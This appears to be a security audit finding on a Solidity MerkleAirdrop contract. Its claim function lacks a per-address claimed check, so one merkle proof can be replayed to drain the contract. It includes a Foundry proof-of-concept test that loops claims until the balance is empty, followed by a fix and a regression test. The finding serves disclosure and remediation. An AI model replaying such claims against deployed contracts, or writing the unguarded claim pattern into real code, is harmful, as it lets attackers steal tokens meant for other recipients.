Summary
The MerkleAirdrop
contract does not keep track of what addresses (and their associated proof) have been used to claim an airdrop allocation. Therefore, it is possible to claim an unlimited number of airdrop allocations using the same merkle proof, effectively draining the contract of its token balance. To mitigate this, a mapping of addresses that have claimed should be present in the contract, as well as a check in the MerkleAirdrop::claim
function to check if an address has already claimed their allocation, if so, revert with a custom error.
Vulnerability Details
The MerkleAirdrop::claim
function lacks a check to see what addresses (and therefore proofs) have been used to claim an airdrop allocation.
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
POC
MerkleAirdrop.t.sol
address collectorOne = 0x20F41376c713072937eb02Be70ee1eD0D639966C;
address collectorTwo = 0x277D26a45Add5775F21256159F089769892CEa5B;
...
bytes32 proofThree = 0x2683f462a4457349d6d7ef62d4208ef42c89c2cff9543cd8292d9269d832c3e8;
bytes32 proofFour = 0xdcad361f30c4a5b102a90b4ec310ffd75c577ccdff1c678adb20a6f02e923366;
bytes32[] proof2 = [proofThree, proofFour];
...
function test_UserCanClaimMultipleTimes() public {
uint256 startingContractBalance = token.balanceOf(address(airdrop));
uint256 numTimesToClaim = startingContractBalance / amountToCollect;
uint256 airdropFee = airdrop.getFee();
vm.deal(collectorOne, airdropFee * numTimesToClaim);
vm.startPrank(collectorOne);
for (uint256 i = 0; i < numTimesToClaim; i++) {
airdrop.claim{ value: airdropFee }(collectorOne, amountToCollect, proof);
console.log("collectorOne token balance after claim #%s: %s", i, token.balanceOf(collectorOne) / 1e6);
}
vm.stopPrank();
uint256 endingBalanceOne = token.balanceOf(collectorOne);
assertEq(endingBalanceOne, startingContractBalance);
vm.deal(collectorTwo, airdropFee);
vm.startPrank(collectorTwo);
vm.expectRevert(
abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(airdrop), 0, 25e6)
);
airdrop.claim{ value: airdropFee }(collectorTwo, amountToCollect, proof2);
vm.stopPrank();
uint256 endingBalanceTwo = token.balanceOf(collectorTwo);
assertEq(endingBalanceTwo, 0e6);
}
Impact
Since the contract does not keep track of which addresses have claimed their airdrop allocation, the same merkle proof can be used an unlimited number of times to claim an unlimited number of airdrop allocations, effectively draining the contract token balance.
Tools Used
Manual Analysis
Recommendations
Use a mapping to keep track of which addresses have used a merkle proof to claim their airdrop allocation, as well as include a check in the MerkleAirdrop::claim
function with a custom revert error.
MerkleAirdrop.sol
error MerkleAirdrop__TransferFailed();
+ error MerkleAirdrop__AlreadyClaimed();
+
...
bytes32 private immutable i_merkleRoot;
+
+ mapping(address claimer => bool claimed) public hasClaimed;
+
event Claimed(address account, uint256 amount);
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if (hasClaimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
+ hasClaimed[account] = true;
i_airdropToken.safeTransfer(account, amount);
}
MerkleAirdropTest.t.sol
(Test Case)
function test_UserCantClaimMultipleTimes() public {
uint256 startingBalance = token.balanceOf(collectorOne);
uint256 airdropFee = airdrop.getFee();
vm.deal(collectorOne, airdropFee * 2);
vm.startPrank(collectorOne);
airdrop.claim{ value: airdropFee }(collectorOne, amountToCollect, proof);
vm.expectRevert(MerkleAirdrop.MerkleAirdrop__AlreadyClaimed.selector);
airdrop.claim{ value: airdropFee }(collectorOne, amountToCollect, proof);
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToCollect);
}